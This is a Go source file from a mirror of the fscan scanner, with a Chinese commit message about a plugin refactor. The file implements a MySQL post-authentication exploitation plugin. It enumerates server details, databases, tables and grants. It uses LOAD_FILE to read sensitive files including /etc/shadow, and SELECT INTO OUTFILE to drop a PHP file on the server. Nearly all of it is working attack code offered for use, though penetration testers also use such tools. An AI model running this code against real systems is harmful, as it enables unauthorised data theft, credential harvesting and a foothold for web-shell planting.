mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00

- 重构插件注册架构采用现代工厂模式和自动发现机制 - 新增完整的插件元数据管理系统支持版本能力标签等信息 - 实现智能插件适配器提供向后兼容的桥接功能 - 建立MySQL Redis SSH三个标准插件作为新架构参考实现 - 优化插件扫描逻辑支持按端口按类型的智能查询和过滤 - 添加国际化支持和完善的文档体系 - 代码量减少67%维护成本大幅降低扩展性显著提升 新架构特点: - 零配置插件注册import即用 - 工厂模式延迟初始化和依赖注入 - 丰富元数据系统和能力声明 - 完全解耦的模块化设计 - 面向未来的可扩展架构 测试验证: MySQL和Redis插件功能完整包括弱密码检测未授权访问检测和自动利用攻击
374 lines
11 KiB
Go
374 lines
11 KiB
Go
package mysql
|
||
|
||
import (
|
||
"context"
|
||
"database/sql"
|
||
"fmt"
|
||
"github.com/shadow1ng/fscan/common"
|
||
"github.com/shadow1ng/fscan/plugins/base"
|
||
"strconv"
|
||
"strings"
|
||
)
|
||
|
||
// MySQLExploiter MySQL利用器实现
|
||
type MySQLExploiter struct {
|
||
*base.BaseExploiter
|
||
connector *MySQLConnector
|
||
}
|
||
|
||
// NewMySQLExploiter 创建MySQL利用器
|
||
func NewMySQLExploiter() *MySQLExploiter {
|
||
exploiter := &MySQLExploiter{
|
||
BaseExploiter: base.NewBaseExploiter("mysql"),
|
||
connector: NewMySQLConnector(),
|
||
}
|
||
|
||
// 添加利用方法
|
||
exploiter.setupExploitMethods()
|
||
|
||
return exploiter
|
||
}
|
||
|
||
// setupExploitMethods 设置利用方法
|
||
func (e *MySQLExploiter) setupExploitMethods() {
|
||
// 1. 信息收集
|
||
infoMethod := base.NewExploitMethod(base.ExploitDataExtraction, "information_gathering").
|
||
WithDescription("收集MySQL服务器信息").
|
||
WithPriority(8).
|
||
WithConditions("has_credentials").
|
||
WithHandler(e.exploitInformationGathering).
|
||
Build()
|
||
e.AddExploitMethod(infoMethod)
|
||
|
||
// 2. 数据库枚举
|
||
enumMethod := base.NewExploitMethod(base.ExploitDataExtraction, "database_enumeration").
|
||
WithDescription("枚举数据库和表").
|
||
WithPriority(7).
|
||
WithConditions("has_credentials").
|
||
WithHandler(e.exploitDatabaseEnumeration).
|
||
Build()
|
||
e.AddExploitMethod(enumMethod)
|
||
|
||
// 3. 用户权限检查
|
||
privMethod := base.NewExploitMethod(base.ExploitDataExtraction, "privilege_check").
|
||
WithDescription("检查用户权限").
|
||
WithPriority(6).
|
||
WithConditions("has_credentials").
|
||
WithHandler(e.exploitPrivilegeCheck).
|
||
Build()
|
||
e.AddExploitMethod(privMethod)
|
||
|
||
// 4. 文件读取(如果有FILE权限)
|
||
fileReadMethod := base.NewExploitMethod(base.ExploitDataExtraction, "file_read").
|
||
WithDescription("读取服务器文件").
|
||
WithPriority(9).
|
||
WithConditions("has_credentials").
|
||
WithHandler(e.exploitFileRead).
|
||
Build()
|
||
e.AddExploitMethod(fileReadMethod)
|
||
|
||
// 5. 文件写入(如果有FILE权限)
|
||
fileWriteMethod := base.NewExploitMethod(base.ExploitFileWrite, "file_write").
|
||
WithDescription("写入文件到服务器").
|
||
WithPriority(10).
|
||
WithConditions("has_credentials").
|
||
WithHandler(e.exploitFileWrite).
|
||
Build()
|
||
e.AddExploitMethod(fileWriteMethod)
|
||
}
|
||
|
||
// exploitInformationGathering 信息收集利用
|
||
func (e *MySQLExploiter) exploitInformationGathering(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||
db, err := e.connectWithCredentials(ctx, info, creds)
|
||
if err != nil {
|
||
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "information_gathering", err), nil
|
||
}
|
||
defer db.Close()
|
||
|
||
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "information_gathering")
|
||
|
||
// 获取版本信息
|
||
version, err := e.getVersion(ctx, db)
|
||
if err == nil {
|
||
base.AddOutputToResult(result, fmt.Sprintf("MySQL版本: %s", version))
|
||
result.Extra["version"] = version
|
||
}
|
||
|
||
// 获取当前用户
|
||
user, err := e.getCurrentUser(ctx, db)
|
||
if err == nil {
|
||
base.AddOutputToResult(result, fmt.Sprintf("当前用户: %s", user))
|
||
result.Extra["current_user"] = user
|
||
}
|
||
|
||
// 获取当前数据库
|
||
database, err := e.getCurrentDatabase(ctx, db)
|
||
if err == nil {
|
||
base.AddOutputToResult(result, fmt.Sprintf("当前数据库: %s", database))
|
||
result.Extra["current_database"] = database
|
||
}
|
||
|
||
return result, nil
|
||
}
|
||
|
||
// exploitDatabaseEnumeration 数据库枚举利用
|
||
func (e *MySQLExploiter) exploitDatabaseEnumeration(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||
db, err := e.connectWithCredentials(ctx, info, creds)
|
||
if err != nil {
|
||
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "database_enumeration", err), nil
|
||
}
|
||
defer db.Close()
|
||
|
||
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "database_enumeration")
|
||
|
||
// 枚举数据库
|
||
databases, err := e.enumerateDatabases(ctx, db)
|
||
if err == nil && len(databases) > 0 {
|
||
base.AddOutputToResult(result, fmt.Sprintf("发现数据库: %s", strings.Join(databases, ", ")))
|
||
result.Extra["databases"] = databases
|
||
}
|
||
|
||
// 枚举表(限制在非系统数据库中)
|
||
tables, err := e.enumerateTables(ctx, db)
|
||
if err == nil && len(tables) > 0 {
|
||
base.AddOutputToResult(result, fmt.Sprintf("发现表: %v", tables))
|
||
result.Extra["tables"] = tables
|
||
}
|
||
|
||
return result, nil
|
||
}
|
||
|
||
// exploitPrivilegeCheck 权限检查利用
|
||
func (e *MySQLExploiter) exploitPrivilegeCheck(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||
db, err := e.connectWithCredentials(ctx, info, creds)
|
||
if err != nil {
|
||
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "privilege_check", err), nil
|
||
}
|
||
defer db.Close()
|
||
|
||
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "privilege_check")
|
||
|
||
// 检查用户权限
|
||
privileges, err := e.getUserPrivileges(ctx, db)
|
||
if err == nil && len(privileges) > 0 {
|
||
base.AddOutputToResult(result, fmt.Sprintf("用户权限: %s", strings.Join(privileges, ", ")))
|
||
result.Extra["privileges"] = privileges
|
||
}
|
||
|
||
// 检查是否有FILE权限
|
||
hasFilePriv := e.hasFilePrivilege(privileges)
|
||
result.Extra["has_file_privilege"] = hasFilePriv
|
||
if hasFilePriv {
|
||
base.AddOutputToResult(result, "检测到FILE权限,可能支持文件操作")
|
||
}
|
||
|
||
return result, nil
|
||
}
|
||
|
||
// exploitFileRead 文件读取利用
|
||
func (e *MySQLExploiter) exploitFileRead(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||
db, err := e.connectWithCredentials(ctx, info, creds)
|
||
if err != nil {
|
||
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "file_read", err), nil
|
||
}
|
||
defer db.Close()
|
||
|
||
// 尝试读取常见的敏感文件
|
||
filesToRead := []string{
|
||
"/etc/passwd",
|
||
"/etc/shadow",
|
||
"/etc/hosts",
|
||
"C:\\Windows\\System32\\drivers\\etc\\hosts",
|
||
}
|
||
|
||
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "file_read")
|
||
hasRead := false
|
||
|
||
for _, file := range filesToRead {
|
||
content, err := e.readFile(ctx, db, file)
|
||
if err == nil && content != "" {
|
||
base.AddOutputToResult(result, fmt.Sprintf("读取文件 %s:\n%s", file, content))
|
||
hasRead = true
|
||
}
|
||
}
|
||
|
||
if !hasRead {
|
||
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "file_read",
|
||
fmt.Errorf("无法读取任何文件,可能没有FILE权限")), nil
|
||
}
|
||
|
||
return result, nil
|
||
}
|
||
|
||
// exploitFileWrite 文件写入利用
|
||
func (e *MySQLExploiter) exploitFileWrite(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||
db, err := e.connectWithCredentials(ctx, info, creds)
|
||
if err != nil {
|
||
return base.CreateFailedExploitResult(base.ExploitFileWrite, "file_write", err), nil
|
||
}
|
||
defer db.Close()
|
||
|
||
result := base.CreateSuccessExploitResult(base.ExploitFileWrite, "file_write")
|
||
|
||
// 尝试写入测试文件
|
||
testContent := "<?php echo 'MySQL File Write Test'; ?>"
|
||
testFile := "/tmp/mysql_test.php"
|
||
|
||
err = e.writeFile(ctx, db, testFile, testContent)
|
||
if err != nil {
|
||
return base.CreateFailedExploitResult(base.ExploitFileWrite, "file_write", err), nil
|
||
}
|
||
|
||
base.AddOutputToResult(result, fmt.Sprintf("成功写入文件: %s", testFile))
|
||
base.AddFileToResult(result, testFile)
|
||
|
||
return result, nil
|
||
}
|
||
|
||
// =============================================================================
|
||
// MySQL操作辅助函数
|
||
// =============================================================================
|
||
|
||
// connectWithCredentials 使用凭据连接数据库
|
||
func (e *MySQLExploiter) connectWithCredentials(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*sql.DB, error) {
|
||
// 解析端口号
|
||
port, err := strconv.Atoi(info.Ports)
|
||
if err != nil {
|
||
return nil, fmt.Errorf("无效的端口号: %s", info.Ports)
|
||
}
|
||
connStr := e.buildConnectionString(info.Host, port, creds.Username, creds.Password)
|
||
|
||
db, err := sql.Open("mysql", connStr)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
|
||
// 测试连接
|
||
if err = db.PingContext(ctx); err != nil {
|
||
db.Close()
|
||
return nil, err
|
||
}
|
||
|
||
return db, nil
|
||
}
|
||
|
||
// buildConnectionString 构建连接字符串
|
||
func (e *MySQLExploiter) buildConnectionString(host string, port int, username, password string) string {
|
||
if common.Socks5Proxy != "" {
|
||
return fmt.Sprintf("%s:%s@tcp-proxy(%s:%d)/mysql?charset=utf8&timeout=10s",
|
||
username, password, host, port)
|
||
}
|
||
return fmt.Sprintf("%s:%s@tcp(%s:%d)/mysql?charset=utf8&timeout=10s",
|
||
username, password, host, port)
|
||
}
|
||
|
||
// getVersion 获取MySQL版本
|
||
func (e *MySQLExploiter) getVersion(ctx context.Context, db *sql.DB) (string, error) {
|
||
var version string
|
||
err := db.QueryRowContext(ctx, "SELECT VERSION()").Scan(&version)
|
||
return version, err
|
||
}
|
||
|
||
// getCurrentUser 获取当前用户
|
||
func (e *MySQLExploiter) getCurrentUser(ctx context.Context, db *sql.DB) (string, error) {
|
||
var user string
|
||
err := db.QueryRowContext(ctx, "SELECT USER()").Scan(&user)
|
||
return user, err
|
||
}
|
||
|
||
// getCurrentDatabase 获取当前数据库
|
||
func (e *MySQLExploiter) getCurrentDatabase(ctx context.Context, db *sql.DB) (string, error) {
|
||
var database string
|
||
err := db.QueryRowContext(ctx, "SELECT DATABASE()").Scan(&database)
|
||
return database, err
|
||
}
|
||
|
||
// enumerateDatabases 枚举数据库
|
||
func (e *MySQLExploiter) enumerateDatabases(ctx context.Context, db *sql.DB) ([]string, error) {
|
||
rows, err := db.QueryContext(ctx, "SHOW DATABASES")
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
defer rows.Close()
|
||
|
||
var databases []string
|
||
for rows.Next() {
|
||
var dbName string
|
||
if err := rows.Scan(&dbName); err != nil {
|
||
continue
|
||
}
|
||
databases = append(databases, dbName)
|
||
}
|
||
|
||
return databases, nil
|
||
}
|
||
|
||
// enumerateTables 枚举表
|
||
func (e *MySQLExploiter) enumerateTables(ctx context.Context, db *sql.DB) (map[string][]string, error) {
|
||
rows, err := db.QueryContext(ctx, `
|
||
SELECT TABLE_SCHEMA, TABLE_NAME
|
||
FROM information_schema.TABLES
|
||
WHERE TABLE_SCHEMA NOT IN ('information_schema', 'mysql', 'performance_schema', 'sys')
|
||
LIMIT 50
|
||
`)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
defer rows.Close()
|
||
|
||
tables := make(map[string][]string)
|
||
for rows.Next() {
|
||
var schema, table string
|
||
if err := rows.Scan(&schema, &table); err != nil {
|
||
continue
|
||
}
|
||
tables[schema] = append(tables[schema], table)
|
||
}
|
||
|
||
return tables, nil
|
||
}
|
||
|
||
// getUserPrivileges 获取用户权限
|
||
func (e *MySQLExploiter) getUserPrivileges(ctx context.Context, db *sql.DB) ([]string, error) {
|
||
rows, err := db.QueryContext(ctx, "SHOW GRANTS")
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
defer rows.Close()
|
||
|
||
var privileges []string
|
||
for rows.Next() {
|
||
var grant string
|
||
if err := rows.Scan(&grant); err != nil {
|
||
continue
|
||
}
|
||
privileges = append(privileges, grant)
|
||
}
|
||
|
||
return privileges, nil
|
||
}
|
||
|
||
// hasFilePrivilege 检查是否有FILE权限
|
||
func (e *MySQLExploiter) hasFilePrivilege(privileges []string) bool {
|
||
for _, priv := range privileges {
|
||
if strings.Contains(strings.ToUpper(priv), "FILE") {
|
||
return true
|
||
}
|
||
}
|
||
return false
|
||
}
|
||
|
||
// readFile 读取文件
|
||
func (e *MySQLExploiter) readFile(ctx context.Context, db *sql.DB, filename string) (string, error) {
|
||
var content string
|
||
query := fmt.Sprintf("SELECT LOAD_FILE('%s')", filename)
|
||
err := db.QueryRowContext(ctx, query).Scan(&content)
|
||
return content, err
|
||
}
|
||
|
||
// writeFile 写入文件
|
||
func (e *MySQLExploiter) writeFile(ctx context.Context, db *sql.DB, filename, content string) error {
|
||
query := fmt.Sprintf("SELECT '%s' INTO OUTFILE '%s'", content, filename)
|
||
_, err := db.ExecContext(ctx, query)
|
||
return err
|
||
} |